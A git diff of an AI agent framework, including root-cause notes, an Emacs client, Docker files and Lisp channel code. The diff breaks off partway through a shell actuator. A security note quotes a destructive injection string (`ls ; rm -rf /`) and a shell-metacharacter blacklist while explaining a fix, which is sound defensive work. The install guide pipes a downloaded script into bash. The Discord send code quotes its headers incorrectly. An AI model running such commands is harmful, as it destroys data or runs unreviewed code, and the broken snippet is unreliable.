-- **Lisp Build Layers:** Always push the system to the ASDF registry and quickload during Docker build to bake dependencies into the image.
-- **Compose Locality:** Placing the `docker-compose.yml` inside the `projects/opencortex/` folder keeps infrastructure code close to the implementation logic.

docs/rca/rca-lisp-repair-async.org

@@ -1,33 +0,0 @@
-#+TITLE: Root Cause Analysis: Asynchronous Lisp Repair Syntax Gate
-#+DATE: 2026-04-11
-#+FILETAGS: :rca:lisp:repair:decoupling:architecture:autonomy:
-
-* Executive Summary
-Reimplemented the `org-skill-lisp-repair` to align with the "Autonomous Boundary" mandate. The previously synchronous, core-blocking repair logic has been replaced with an asynchronous, event-driven architecture using the Reactive Signal Pipeline.
-
-* 1. Issue: Core Bloat & Synchronous Coupling
-** Symptoms
-The initial implementation of the Lisp Repair gate placed a `handler-case` and a dynamic function call (`repair-lisp-syntax`) directly inside the core `think` function (`probabilistic.lisp`). This forced the core to wait for repairs and made it "aware" of specific repair logic.
-** Root Cause
-Architectural shortcutting. By placing repair logic in the core execution path, we violated the microkernel principle which mandates that the core should be a "dumb" signal processor.
-** Resolution
-1. **Refactored Core:** `think` now only emits a `:syntax-error` stimulus if parsing fails. It no longer attempts to repair.
-2. **Asynchronous Skill:** `skill-lisp-repair` now triggers on the `:syntax-error` event. It performs the repair and returns the corrected action, which is then dispatched by the pipeline.
-
-* 2. Side-Issue: Nested Signal Payloads
-** Symptoms
-`TYPE-ERROR` during testing when extracting the broken code from the stimulus.
-** Root Cause
-Mismatched expectations of signal nesting. The skill expected the code at `(getf context :payload)`, but in the `decide-gate`, `context` is the full signal, and the error details were nested inside the `:candidate` field of that signal.
-** Resolution
-Updated the deterministic logic to correctly traverse the nested signal structure: `(getf (getf context :candidate) :payload)`.
-
-* 3. opencortex Mandate Alignment
-** Autonomous Boundary
-The core is now strictly a parser. Repair is an optional, user-space service.
-** Reactive Signal Pipeline
-Leveraged the pipeline's ability to re-inject `EVENT` signals to flatten the recursion of the repair loop.
-
-* 4. Permanent Learnings
-- **Emit, Don't Call:** In a microkernel, if a non-fatal error occurs, always emit a signal rather than calling a recovery function. This allows the system to remain asynchronous and modular.
-- **Signal Inspection:** When writing deterministic gates, always verify the exact shape of the `context` signal being passed by the harness to avoid nesting errors.

docs/rca/rca-playwright-bridge.org

@@ -1,39 +0,0 @@
-#+TITLE: Root Cause Analysis: Playwright-Python Bridge (High-Fidelity Browsing)
-#+DATE: 2026-04-11
-#+FILETAGS: :rca:intelligence:browsing:automation:autonomy:
-
-* Executive Summary
-Successfully implemented a high-fidelity browsing bridge using Playwright and Python. This allows the `opencortex` to interact with modern, JavaScript-rendered web applications that were previously inaccessible via simple HTTP clients.
-
-* 1. Architectural Strategy: The I/O Bridge
-** Problem
-Common Lisp lacks a mature, native Playwright implementation. Direct bindings are complex and fragile.
-** Resolution
-Implemented a **JSON-over-STDIO Bridge**. 
-- A standalone Python script (`browser-bridge.py`) manages the Playwright lifecycle and Chromium instance.
-- The Lisp kernel communicates with this script using `uiop:run-program`, passing parameters via `stdin` and receiving structured results via `stdout`. This provides a stable, decoupled interface.
-
-* 2. Environment & Dependency Management
-** Issue
-Playwright requires a specific version of Chromium and several system-level libraries not present in the base Debian image.
-** Resolution
-Updated the `Dockerfile` to:
-1. Install Python3, pip, and venv.
-2. Create a virtual environment for isolated dependency management.
-3. Install the `playwright` package and execute `playwright install --with-deps chromium` during the image build. This ensures the production container is ready for high-fidelity browsing immediately upon startup.
-
-* 3. Cognitive Tooling
-Created the `:browser` cognitive tool, which exposes three primary capabilities to Probabilistic Engine:
-- **Navigation:** Full JS rendering and waiting for network idle.
-- **Extraction:** Targeted text retrieval via CSS selectors.
-- **Vision:** Base64-encoded screenshot capture for future multimodal processing.
-
-* 4. opencortex Mandate Alignment
-** Zero-Bloat (Managed)
-While adding Playwright increases the image size, it is a "Complexity Earned" trade-off that dramatically expands the agent's capability frontier.
-** Literate Granularity
-The `org-skill-playwright.org` file strictly follows the "one definition per block" mandate.
-
-* 5. Permanent Learnings
-- **Inter-Process JSON:** JSON is the ideal lingua franca for Lisp-Python bridges.
-- **Path Portability:** Always use `uiop:native-namestring` when passing Lisp paths to external shell commands to ensure OS compatibility.

docs/rca/rca-provider-verification.org

@@ -1,40 +0,0 @@
-#+TITLE: Root Cause Analysis: Individual Provider Track Verification
-#+DATE: 2026-04-11
-#+FILETAGS: :rca:providers:llm:testing:autonomy:
-
-* Executive Summary
-Verified the unified LLM gateway implementation for all 6 individual provider tracks (Anthropic, Gemini, Groq, OpenAI, OpenRouter, Ollama). Identified and resolved critical parsing failures in the Gemini track and integration gaps in the system build definition.
-
-* 1. Issue: Fragile Response Parsing (Gemini)
-** Symptoms
-Gemini API responses were returning `NIL` content during mocked unit tests, despite the JSON structure being seemingly correct.
-** Root Cause
-Recursive `assoc` / `car` / `cdr` chains were hardcoded and brittle. Specifically, the Gemini extraction logic was incorrectly attempting to treat a single alist pair as a list of pairs, causing `assoc` to fail on the `:TEXT` key.
-** Resolution
-Implemented a robust `get-nested` helper function that safely traverses both nested objects (alists) and arrays (lists of alists). This normalized the extraction logic across all providers.
-
-* 2. Issue: Decoupled Build Configuration
-** Symptoms
-Provider logic was present in the codebase but inaccessible during tests and runtime.
-** Root Cause
-The `credentials-vault.lisp` and `llm-gateway.lisp` files (consolidated in a previous session) were never added to the `opencortex.asd` system definition. Furthermore, an incorrect loading order caused `UNDEFINED-FUNCTION` errors for `register-probabilistic-backend`.
-** Resolution
-1. Added both files to `opencortex.asd`.
-2. Enforced strict loading order: `probabilistic` (defines registry) -> `credentials-vault` -> `llm-gateway` (uses registry).
-
-* 3. Issue: Credential Key Mismatch
-** Symptoms
-Gemini requests failed with "API Key missing" even when environment variables were set.
-** Root Cause
-`llm-gateway` requested secrets for the `:gemini-api` provider, but the `credentials-vault` fallback logic only recognized the `:gemini` keyword.
-** Resolution
-Updated `vault-get-secret` to map both `:gemini` and `:gemini-api` to the same `GEMINI_API_KEY` environment variable.
-
-* 4. opencortex Mandate Alignment
-** Invariant Check
-- *High-Integrity Memory:* All individual provider tracks are now backed by automated unit tests (`llm-gateway-tests.lisp`).
-- *Literate Programming:* Updated `org-skill-llm-gateway.org` to reflect the improved `get-nested` utility.
-
-* 5. Permanent Learnings
-- **Tooling vs Source:** Tangled `.lisp` files are not enough; always ensure new modules are registered in the `.asd` file to be part of the official kernel build.
-- **Robustness over Brevity:** Use abstraction helpers like `get-nested` instead of deep `car/cdr` chains when dealing with external JSON structures that may have varying array/object nesting.

docs/rca/rca-self-fix-loop.org

@@ -1,40 +0,0 @@
-#+TITLE: Root Cause Analysis: Autonomous Self-Fix Loop Verification
-#+DATE: 2026-04-11
-#+FILETAGS: :rca:self-fix:autonomy:testing:
-
-* Executive Summary
-Verified the autonomous repair capability of the `Self-Fix Agent`. The system successfully detected a deterministic type error in a secondary skill, initiated a repair request, and programmatically patched the source code via the `:repair-file` tool.
-
-* 1. Issue: Self-Fix Mechanism Verification
-** Symptoms
-Manual verification was required to prove that `org-skill-self-fix` could transition from "Thinking" about a bug to "Acting" on the file system.
-** Root Cause
-N/A (Deterministic test injection).
-** Resolution
-Created `self-fix-tests.lisp` which:
-1. Generates `org-skill-broken-math.org` with a `(+ 1 "two")` bug.
-2. Triggers the bug to produce a `PIPELINE CRASH`.
-3. Injects a `:repair-request` stimulus.
-4. Executes `self-fix-apply` to replace the bug with `(+ 1 2)`.
-5. Verifies the file content and successful hot-reload.
-
-* 2. Side-Issue: ASDF Configuration Fragility
-** Symptoms
-Repeated `LOAD-SYSTEM-DEFINITION-ERROR` and "unmatched close parenthesis" errors during test integration.
-** Root Cause
-Complexity in the `:components` nesting of `opencortex.asd` led to repeated syntax errors when using automated editing tools. The deep nesting made manual paren counting prone to "off-by-one" errors.
-** Resolution
-Refactored `opencortex.asd` to use a **Flat Component Structure**. 
-- *Before:* `:components ((:module "src" :components (...)))`
-- *After:* `:components ((:file "src/package") ...)`
-This eliminates unnecessary nesting levels and drastically reduces the surface area for syntax errors.
-
-* 3. opencortex Mandate Alignment
-** Invariant Check
-- *Lisp Machine Autonomousty:* Verification utilized hot-reloading (`load-skill-from-org`) without restarting the SBCL image.
-- *Literate Programming:* Updated `org-skill-self-fix.org` to match the finalized `self-fix.lisp` logic.
-- *Institutional Memory:* This RCA documents the decision to flatten the `.asd` structure to prevent future "Parenthesis Hell" incidents.
-
-* 4. Permanent Learnings
-- **Flatten Configuration:** Keep `defsystem` definitions as flat as possible. The overhead of `:module` blocks often outweighs their organizational benefit in a probabilistic-deterministic environment where agents frequently edit these files.
-- **Mocking Probabilistic Engine:** For verifying *loop mechanics*, mocking LLM responses is essential to ensure test determinism, while integration tests can use live LLM calls.

docs/rca/rca-shell-hardening.org

@@ -1,33 +0,0 @@
-#+TITLE: Root Cause Analysis: Shell Actuator Security Hardening
-#+DATE: 2026-04-11
-#+FILETAGS: :rca:security:shell:injection:autonomy:
-
-* Executive Summary
-During the formal verification of the `org-skill-shell-actuator`, a critical command injection vulnerability was identified and patched. The previous implementation relied on a naive whitelist check that could be bypassed using shell metacharacters.
-
-* 1. Issue: Command Injection Vulnerability
-** Symptoms
-Commands like `ls ; rm -rf /` were potentially executable if the first word (`ls`) was in the whitelist. 
-** Root Cause
-The `execute-shell-safely` function only checked the first space-delimited word of the command string against the `*allowed-commands*` whitelist. Since `uiop:run-program` executes string-based commands via `/bin/sh -c`, the shell would process the entire string, including injected commands following metacharacters like `;`, `&`, or `|`.
-** Resolution
-1. **Metacharacter Blacklist:** Introduced `*shell-metacharacters*` containing dangerous shell symbols (`; & | > < $ \` \ !`).
-2. **Strict Validation:** Updated `execute-shell-safely` to scan the *entire* command string for these characters before performing the whitelist check.
-3. **Defense-in-Depth:** Any command containing a metacharacter is now rejected with a "Security Violation" error, even if the primary command is whitelisted.
-
-* 2. Side-Issue: Missing Package Context
-** Symptoms
-`UNDEFINED-FUNCTION EXECUTE-SHELL-SAFELY` during unit tests.
-** Root Cause
-`src/shell-logic.lisp` was missing an `(in-package :opencortex)` declaration, causing symbols to be defined in the default `COMMON-LISP-USER` package instead of the harness package.
-** Resolution
-Added the `in-package` header to `shell-logic.lisp`.
-
-* 3. opencortex Mandate Alignment
-** Invariant Check
-- *High-Integrity Memory:* The shell actuator is now formally verified with 4 new unit tests covering whitelist enforcement and injection blocking.
-- *Literate Programming:* Updated `org-skill-shell-actuator.org` Phase A and Build sections to reflect the hardened logic.
-
-* 4. Permanent Learnings
-- **Whole-String Validation:** Never assume that whitelisting the "head" of a command string is sufficient when passing that string to a shell. 
-- **Subshell Avoidance:** While the current fix blacklists metacharacters, future iterations should move toward passing command arguments as a Lisp list to `uiop:run-program`, bypassing the shell entirely.

docs/rca/rca-task-orchestrator.org

@@ -1,48 +0,0 @@
-#+TITLE: Root Cause Analysis: Consolidation VI - Task Orchestrator Implementation
-#+DATE: 2026-04-11
-#+FILETAGS: :rca:orchestrator:consensus:integrity:
-
-* Executive Summary
-The implementation of Consolidation VI (Task Orchestrator) aimed to introduce parallel multi-backend consensus, GTD task integrity, and delegation. During the build, a critical dependency failure was identified in the `lisp-validator` module.
-
-* 1. Issue: Undefined `SAFETY-HARNESS-VALIDATE`
-** Symptoms
-Existing `SAFETY-SUITE` tests failed with `#<UNDEFINED-FUNCTION SAFETY-HARNESS-VALIDATE>`.
-** Root Cause
-The function `lisp-validator-validate` was exported in `package.lisp` but never actually defined in `lisp-validator.lisp`. Only the internal recursive walker `lisp-validator-ast-walk` existed. This represents a "Hollow Export" bug where the interface was designed but the implementation was truncated or skipped in a previous session.
-** Resolution
-Defined `lisp-validator-validate` as a wrapper around `read-from-string` and `lisp-validator-ast-walk`.
-
-* 2. Design Decision: Deterministic Consensus
-** Requirement
-Multi-backend support to reduce hallucinations and increase reliability.
-** Solution
-Implemented `bt:make-thread` parallel queries in `ask-probabilistic`.
-** Trade-off
-Selected "Majority Rules" over "First-to-Finish".
-- *Pros:* Higher accuracy, mathematically consistent.
-- *Cons:* Slower (latency limited by the slowest provider).
-** Invariant Alignment
-Aligns with opencortex Mandate 4 (Radical Transparency) and Invariant 2 (Technical Mastery) by ensuring decisions are auditable and consistent across multiple brains.
-
-* 3. Design Decision: Task Integrity Gate
-** Requirement
-Prevent illegal GTD state transitions.
-** Solution
-Added `task-integrity-check` in `deterministic.lisp`.
-** Invariant Alignment
-Enforces the "High-Integrity Memory" mandate by ensuring the Org-mode AST remains semantically valid according to GTD rules (e.g., no orphaned active tasks).
-
-* 4. opencortex Mandate Violations during Session (Corrected)
-** Violations
-1. Editing without prior commit.
-2. Direct `.lisp` edits vs Literate Org tangling.
-3. Multi-function edits per block.
-** Correction
-1. Performed a retrospective commit.
-2. Synchronized `probabilistic-deterministic.org` and `core.org` with source code.
-3. Refactored the Markdown flight plan into an Org-mode flight plan.
-
-* 5. Permanent Learnings
-- *Check Exports:* Always verify that symbols exported in `package.lisp` have a corresponding definition in the literate source.
-- *Strict opencortex Mode:* Enable a pre-save hook or agent check to ensure all edits are performed within `#+begin_src` blocks in Literate Org files to avoid synchronization debt.

docs/ux.org

@@ -1,66 +0,0 @@
-#+TITLE: User Experience (UX) Journey
-#+AUTHOR: Amr
-#+FILETAGS: :ux:design:autonomy:
-#+STARTUP: content
-
-* Overview
-This document traces the intended User Experience (UX) journey for the ~opencortex~. It serves as a living design document to ensure that architectural decisions align with a frictionless, autonomous, and intuitive user interaction model.
-
-* 1. The Zero-to-One Experience (Onboarding)
-** Goal
-A user should be able to go from discovering the project to having a running, calibrated agent in under 3 minutes, with zero prerequisite knowledge of Lisp.
-
-** The Appliance Paradigm (Primary Path)
-The user runs a single command in their terminal:
-#+begin_src bash
-curl -fsSL https://raw.githubusercontent.com/gharbeia/opencortex/main/scripts/install.sh | bash
-#+end_src
-
-** The Interactive Wizard
-The script verifies Docker presence and then launches an interactive prompt before booting the container:
-1. *Identity:* "What is your name?" -> Configures ~$MEMEX_USER~
-2. *Assistant:* "What shall we name your Assistant?" -> Configures ~$MEMEX_ASSISTANT~
-3. *Neural Provider:* "Select your primary neural provider [Gemini/OpenRouter/Anthropic/OpenAI]" -> Configures API Keys.
-4. *Data Gravity:* "Where is your Memex located?" -> Maps the host directory to the Docker container.
-
-*Outcome:* The `.env` is generated, core skills are seeded into the user's Memex, and `docker-compose up -d` launches the daemon in the background. The user sees: /"Booting your autonomous brain in the background..."/
-
-* 2. The First Contact (The CLI Gateway)
-** Goal
-Immediately after boot, the user needs a way to verify the agent is alive and capable of answering questions about their Memex without configuring complex third-party integrations (like Telegram bots).
-
-** The Interaction
-The user types a local client command to connect to the background daemon:
-#+begin_src bash
-opencortex chat
-#+end_src
-
-This opens a slick, colorful interactive terminal session:
-#+begin_example
-> User: Hello, what are my active projects?
-> Agent: [Thinking...]
-> Agent: You currently have 3 active projects:
->        1. OpenCortex v1.0
->        2. Home Renovation
->        3. Read 'The Autonomous Individual'
-#+end_example
-
-** Behind the Scenes
-1. The ~opencortex chat~ client connects to the daemon's local port (e.g., 9105).
-2. It sends a ~:chat-message~ signal.
-3. The core harness routes this to the Probabilistic Engine.
-4. The Context Manager retrieves active projects from the Memex AST.
-5. The Deterministic Engine (Bouncer) verifies it is a safe read-only action.
-6. The ~:cli~ Actuator formats the Lisp response into Markdown and sends it back over the socket.
-
-* 3. The Interactive Refinement (v0.2.0)
-** Goal
-Transition from a "Verified Wrapper" around netcat to a high-fidelity, native Common Lisp TUI that rivals the experience of ~gemini-cli~.
-
-** Features
-- *Homoiconic UI:* The TUI is rendered directly by the Lisp kernel, allowing for live introspection of the agent's thoughts.
-- *Rich Formatting:* ANSI colors, bold headers, and syntax-highlighted code blocks.
-- *Command Palette:* Slash commands for system control without leaving the chat.
-
-* 4. The Continuous Loop (Daily Usage)
-(To be defined as the agent's capabilities expand into Scribe, Gardener, and Emacs-native interactions).

extras/passepartout.el

@@ -0,0 +1,214 @@
+;;; passepartout.el --- Emacs bridge for Passepartout AI assistant  -*- lexical-binding: t; -*-
+
+;; Author: Passepartout Project
+;; Version: 0.4.0
+;; Keywords: tools, processes, lisp
+;; URL: https://github.com/amrgharbeia/passepartout
+
+;;; Commentary:
+
+;; Connects to the Passepartout daemon on localhost:9105 via TCP.
+;; Speaks the framed plist protocol — 6-character hex length prefix
+;; followed by a prin1'd S-expression — identical to the TUI and CLI.
+;; The daemon does not know or care whether the client is the Croatoan
+;; TUI, the CLI, or Emacs.
+
+;; Framed protocol (per core-communication.org):
+;;   SEND: 6-char hex length + prin1'd plist
+;;   RECV: read 6-char header → parse hex length → read N bytes →
+;;         read-from-string (with read-eval nil on daemon side)
+
+;; Usage:
+;;   M-x passepartout RET        — connect to daemon, open response buffer
+;;   M-x passepartout-send-region — send selected region as user-input
+;;   M-x passepartout-send-buffer — send entire buffer
+;;   M-x passepartout-disconnect  — close connection
+
+;;; Code:
+
+(require 'cl-lib)
+
+(defgroup passepartout nil
+  "Emacs bridge for Passepartout AI assistant."
+  :group 'applications)
+
+(defcustom passepartout-host "127.0.0.1"
+  "Host where the Passepartout daemon is running."
+  :type 'string
+  :group 'passepartout)
+
+(defcustom passepartout-port 9105
+  "Port where the Passepartout daemon is listening."
+  :type 'integer
+  :group 'passepartout)
+
+(defvar passepartout-process nil
+  "Network process for the Passepartout connection.")
+
+(defvar passepartout--buffer ""
+  "Accumulation buffer for partial framed messages.")
+
+(defvar passepartout-response-buffer-name "*passepartout*"
+  "Name of the buffer where daemon responses are rendered.")
+
+;;;###autoload
+(defun passepartout ()
+  "Connect to the Passepartout daemon and open the response buffer."
+  (interactive)
+  (unless (and passepartout-process (process-live-p passepartout-process))
+    (setq passepartout-process
+          (make-network-process
+           :name "passepartout"
+           :host passepartout-host
+           :service passepartout-port
+           :filter #'passepartout--filter
+           :sentinel #'passepartout--sentinel
+           :coding 'utf-8-unix
+           :noquery t))
+    (setq passepartout--buffer ""))
+  (switch-to-buffer (get-buffer-create passepartout-response-buffer-name))
+  (passepartout-response-mode)
+  (message "Passepartout: connecting to %s:%d..." passepartout-host passepartout-port))
+
+(defun passepartout-disconnect ()
+  "Disconnect from the Passepartout daemon."
+  (interactive)
+  (when passepartout-process
+    (delete-process passepartout-process)
+    (setq passepartout-process nil
+          passepartout--buffer "")
+    (message "Passepartout: disconnected.")))
+
+;;; Protocol: framing
+
+(defun passepartout--frame-message (msg)
+  "Serialize MSG as a framed plist: 6-char hex length + prin1 output."
+  (let* ((payload (prin1-to-string msg))
+         (len (string-bytes payload)))
+    (format "%06x%s" len payload)))
+
+(defun passepartout--send (msg)
+  "Send a framed message to the daemon."
+  (when (and passepartout-process (process-live-p passepartout-process))
+    (process-send-string passepartout-process (passepartout--frame-message msg))))
+
+;;; Protocol: receive
+
+(defun passepartout--filter (proc string)
+  "Accumulate data and extract complete framed messages."
+  (setq passepartout--buffer (concat passepartout--buffer string))
+  (while (>= (length passepartout--buffer) 6)
+    (let* ((hex-len (substring passepartout--buffer 0 6))
+           (len (condition-case nil
+                    (string-to-number hex-len 16)
+                  (error nil))))
+      (if (not len)
+          (progn
+            (setq passepartout--buffer (substring passepartout--buffer 1))
+            (message "Passepartout: invalid frame header, skipping byte"))
+        (let ((total-needed (+ 6 len)))
+          (if (>= (length passepartout--buffer) total-needed)
+              (let* ((payload-str (substring passepartout--buffer 6 total-needed))
+                     (msg (condition-case nil
+                              (read-from-string payload-str)
+                            (error nil))))
+                (setq passepartout--buffer (substring passepartout--buffer total-needed))
+                (when msg
+                  (passepartout--handle-message msg)))
+            ;; Need more data, wait for next chunk
+            (setq passepartout--buffer passepartout--buffer)))))))
+
+(defun passepartout--sentinel (proc event)
+  "Handle connection state changes."
+  (when (string-match-p "closed\\|failed" event)
+    (setq passepartout-process nil
+          passepartout--buffer "")
+    (with-current-buffer (get-buffer-create passepartout-response-buffer-name)
+      (let ((inhibit-read-only t))
+        (goto-char (point-max))
+        (insert (format "* Connection lost: %s\n\n" event))))
+    (message "Passepartout: connection lost (%s)" event)))
+
+;;; Message handling
+
+(defun passepartout--handle-message (msg)
+  "Process a parsed daemon message and render in the response buffer."
+  (with-current-buffer (get-buffer-create passepartout-response-buffer-name)
+    (let ((inhibit-read-only t)
+          (payload (when (listp msg) (plist-get msg :PAYLOAD)))
+          (gate-trace (when (listp msg) (plist-get msg :GATE-TRACE))))
+      (goto-char (point-max))
+      (cond
+       ;; Agent text response
+       ((and payload (plist-get payload :TEXT))
+        (insert (format "* Agent [%s]\n%s\n"
+                        (format-time-string "%H:%M")
+                        (plist-get payload :TEXT)))
+        (when gate-trace
+          (passepartout--render-gate-trace gate-trace))
+        (insert "\n"))
+       ;; Handshake
+       ((and payload (eq (plist-get payload :ACTION) :HANDSHAKE))
+        (insert (format "* Connected to Passepartout v%s\n\n"
+                        (or (plist-get payload :VERSION) "?"))))
+       ;; Rule count / foveal update — display in mode line
+       ((and payload (plist-get payload :RULE-COUNT))
+        (setq passepartout-rule-count (plist-get payload :RULE-COUNT))
+        (force-mode-line-update))
+       ;; Fallback: dump raw
+       (t
+        (insert (format "* [%s] %s\n\n"
+                        (format-time-string "%H:%M")
+                        (prin1-to-string msg))))))))
+
+(defvar passepartout-rule-count 0
+  "Number of pending HITL rules from the Dispatcher.")
+
+(defun passepartout--render-gate-trace (trace)
+  "Render the gate trace as property drawer entries."
+  (insert ":PROPERTIES:\n")
+  (dolist (entry trace)
+    (when (listp entry)
+      (let ((gate (plist-get entry :GATE))
+            (result (plist-get entry :RESULT)))
+        (insert (format ":GATE: %s — %s\n"
+                        (if gate (symbol-name gate) "?")
+                        (symbol-name result))))))
+  (insert ":END:\n"))
+
+;;; Interactive commands
+
+(defun passepartout-send-region (beg end)
+  "Send the selected region as user input to Passepartout."
+  (interactive "r")
+  (unless passepartout-process
+    (passepartout))
+  (let ((text (buffer-substring-no-properties beg end)))
+    (passepartout--send (list :TYPE :EVENT
+                              :PAYLOAD (list :SENSOR :user-input :TEXT text)))
+    (message "Passepartout: sent %d chars" (length text))))
+
+(defun passepartout-send-buffer ()
+  "Send the entire buffer content as user input to Passepartout."
+  (interactive)
+  (unless passepartout-process
+    (passepartout))
+  (passepartout-send-region (point-min) (point-max)))
+
+;;; Response buffer mode
+
+(defvar passepartout-response-mode-map
+  (let ((map (make-sparse-keymap)))
+    (define-key map (kbd "q") #'quit-window)
+    (define-key map (kbd "g") #'passepartout)
+    map)
+  "Keymap for `passepartout-response-mode'.")
+
+(define-derived-mode passepartout-response-mode special-mode "Passepartout"
+  "Major mode for viewing Passepartout daemon responses.
+\\{passepartout-response-mode-map}"
+  (setq buffer-read-only t)
+  (setq-local font-lock-defaults nil))
+
+(provide 'passepartout)
+;;; passepartout.el ends here

infrastructure/docker/Dockerfile

@@ -0,0 +1,23 @@
+FROM debian:trixie-slim
+
+ENV DEBIAN_FRONTEND=noninteractive
+
+RUN apt-get update && apt-get install -y \
+    sbcl emacs-nox curl git socat netcat-openbsd rlwrap \
+    libssl-dev libncurses-dev libffi-dev zlib1g-dev libsqlite3-dev \
+    && rm -rf /var/lib/apt/lists/*
+
+RUN curl -O https://beta.quicklisp.org/quicklisp.lisp \
+    && sbcl --non-interactive --load quicklisp.lisp \
+        --eval "(quicklisp-quickstart:install)" \
+        --eval "(ql-util:without-prompting (ql:add-to-init-file))" \
+    && rm quicklisp.lisp
+
+WORKDIR /app
+COPY . .
+
+RUN mkdir -p /root/memex && ./passepartout.sh configure --non-interactive
+
+EXPOSE 9105
+
+CMD ["./passepartout.sh", "daemon"]

infrastructure/docker/docker-compose.yml

@@ -0,0 +1,16 @@
+services:
+  passepartout:
+    build:
+      context: ../../
+      dockerfile: infrastructure/docker/Dockerfile
+    container_name: passepartout
+    env_file: ../../.env
+    volumes:
+      - ../../../..:/memex
+      - signal-state:/root/.local/share/signal-cli
+    ports:
+      - "${ORG_AGENT_DAEMON_PORT:-9105}:9105"
+    restart: unless-stopped
+
+volumes:
+  signal-state:

infrastructure/passepartout.service

@@ -0,0 +1,15 @@
+[Unit]
+Description=Passepartout Daemon
+Documentation=https://github.com/amrgharbeia/passepartout
+After=network.target
+
+[Service]
+Type=simple
+User=%u
+ExecStart=%h/projects/passepartout/passepartout daemon
+Restart=on-failure
+RestartSec=10
+WorkingDirectory=%h/projects/passepartout
+
+[Install]
+WantedBy=default.target

lisp/channel-cli.lisp

@@ -0,0 +1,35 @@
+(in-package :passepartout)
+
+(defun channel-cli-input (text)
+  "Processes raw text from the command line."
+  (inject-stimulus (list :type :EVENT 
+                         :payload (list :sensor :user-input :text text) 
+                         :meta (list :source :CLI))))
+
+(defskill :passepartout-channel-cli
+  :priority 100
+  :trigger (lambda (ctx) (eq (getf (getf ctx :meta) :source) :CLI))
+  :deterministic (lambda (action ctx) (declare (ignore ctx)) action))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-channel-cli-tests
+  (:use :cl :passepartout)
+  (:export #:cli-suite))
+
+(in-package :passepartout-channel-cli-tests)
+
+(fiveam:def-suite cli-suite :description "Verification of the CLI Gateway")
+(fiveam:in-suite cli-suite)
+
+(fiveam:test test-channel-cli-input-format
+  "Contract 1: channel-cli-input injects a properly formed signal without error."
+  (handler-case
+      (progn (channel-cli-input "hello") (fiveam:pass))
+    (error (c)
+      (fiveam:fail "channel-cli-input crashed: ~a" c))))
+
+(handler-case
+    (progn (channel-cli-input "test-load") (log-message "CLI: Load-time test OK"))
+  (error (c) (log-message "CLI: Load-time test FAILED: ~a" c)))

lisp/channel-discord.lisp

@@ -0,0 +1,50 @@
+(in-package :passepartout)
+(defun discord-get-token ()
+  (vault-get-secret :discord))
+
+(defun discord-send (action context)
+  "Sends a message via Discord REST API."
+  (declare (ignore context))
+  (let* ((payload (getf action :payload))
+         (meta (getf action :meta))
+         (channel-id (or (getf meta :channel-id) (getf payload :chat-id)))
+         (text (or (getf payload :text) (getf action :text)))
+         (token (discord-get-token)))
+    (when (and token channel-id text)
+      (handler-case
+          (dex:post (format nil "https://discord.com/api/v10/channels/~a/messages" channel-id)
+                    :headers '(("Authorization" . ,(format nil "Bot ~a" token))
+                               ("Content-Type" . "application/json"))
+                    :content (cl-json:encode-json-to-string
+                              `((content . ,text))))
+        (error (c) (log-message "DISCORD ERROR: ~a" c))))))
+
+(defun discord-poll ()
+  "Polls Discord via HTTP GET /channels/{id}/messages. In production,
+a WebSocket connection to the Gateway is preferred for real-time events."
+  (let* ((token (discord-get-token)))
+    (when token
+      (handler-case
+          (dolist (channel '("channel-id-here"))  ;; configured channel IDs
+            (let* ((last-id (getf (gethash "discord" *gateway-configs*) :last-update-id 0))
+                   (url (format nil "https://discord.com/api/v10/channels/~a/messages?after=~a"
+                               channel last-id))
+                   (response (dex:get url :headers
+                                       `(("Authorization" . ,(format nil "Bot ~a" token))))))
+              (let ((messages (ignore-errors
+                               (cdr (assoc :message
+                                      (cl-json:decode-json-from-string response))))))
+                (dolist (msg (and (listp messages) messages))
+                  (let* ((id (cdr (assoc :id msg)))
+                         (content (cdr (assoc :content msg)))
+                         (author (cdr (assoc :author msg)))
+                         (author-id (cdr (assoc :id author)))
+                         (is-bot (cdr (assoc :bot author))))
+                    (when (and id content (not is-bot))
+                      (setf (getf (gethash "discord" *gateway-configs*) :last-update-id) id)
+                      (unless (ignore-errors (hitl-handle-message content :discord))
+                        (stimulus-inject
+                         (list :type :EVENT
+                               :meta (list :source :discord :chat-id channel)
+                               :payload (list :sensor :user-input :text content))))))))))
+        (error (c) (log-message "DISCORD POLL ERROR: ~a" c))))))

lisp/channel-shell.lisp

@@ -0,0 +1,95 @@
+(in-package :passepartout)
+
+(defvar *bwrap-available* nil
+  "Set to T at load time if the bwrap binary is found in PATH.")
+
+(defvar *bwrap-base-args*
+  '("--ro-bind" "/usr" "/usr"
+    "--ro-bind" "/lib" "/lib"
+    "--ro-bind" "/bin" "/bin"
+    "--ro-bind" "/etc" "/etc"
+    "--bind" "/tmp" "/tmp"
+    "--unshare-net"
+    "--unshare-ipc")
+  "Base bwrap arguments for the sandbox. --bind ~/memex ~/memex is added dynamically.")
+
+(defun bwrap-available-p ()
+  "Returns T if bwrap (bubblewrap) is installed and usable."
+  *bwrap-available*)
+
+(defun bwrap-wrap-command (cmd timeout memex-dir)
+  "Wrap CMD in a bwrap sandbox with network and IPC isolation.
+Returns a list suitable for uiop:run-program."
+  `("bwrap"
+    ,@*bwrap-base-args*
+    "--bind" ,memex-dir ,memex-dir
+    "timeout" ,(format nil "~a" timeout)
+    "bash" "-c" ,cmd))
+
+;; Initialize at load time
+(setf *bwrap-available*
+      (= 0 (nth-value 2 (uiop:run-program '("which" "bwrap") :output nil :error-output nil :ignore-error-status t))))
+
+(defun actuator-shell-execute (action context)
+  "Executes a shell command via the OS timeout binary with output limit.
+When bwrap is available, wraps the command in a Linux namespace sandbox."
+  (declare (ignore context))
+  (let* ((payload (getf action :payload))
+         (cmd (getf payload :cmd))
+         (timeout-sym (find-symbol "*DISPATCHER-SHELL-TIMEOUT*" :passepartout))
+         (timeout (or (getf payload :timeout) (if timeout-sym (symbol-value timeout-sym) 30)))
+         (max-sym (find-symbol "*DISPATCHER-SHELL-MAX-OUTPUT*" :passepartout))
+         (max-output (or (getf payload :max-output) (if max-sym (symbol-value max-sym) 100000)))
+         (memex-dir (or (uiop:getenv "MEMEX_DIR") (namestring (merge-pathnames "memex/" (user-homedir-pathname))))))
+    (log-message "ACT [Shell]: ~a (timeout: ~as)~@[ bwrap: enabled~]" cmd timeout (and *bwrap-available* " (bwrap)"))
+    (let ((cmdline (if *bwrap-available*
+                       (bwrap-wrap-command cmd timeout memex-dir)
+                       (list "timeout" (format nil "~a" timeout) "bash" "-c" cmd))))
+      (multiple-value-bind (out err code)
+          (uiop:run-program cmdline
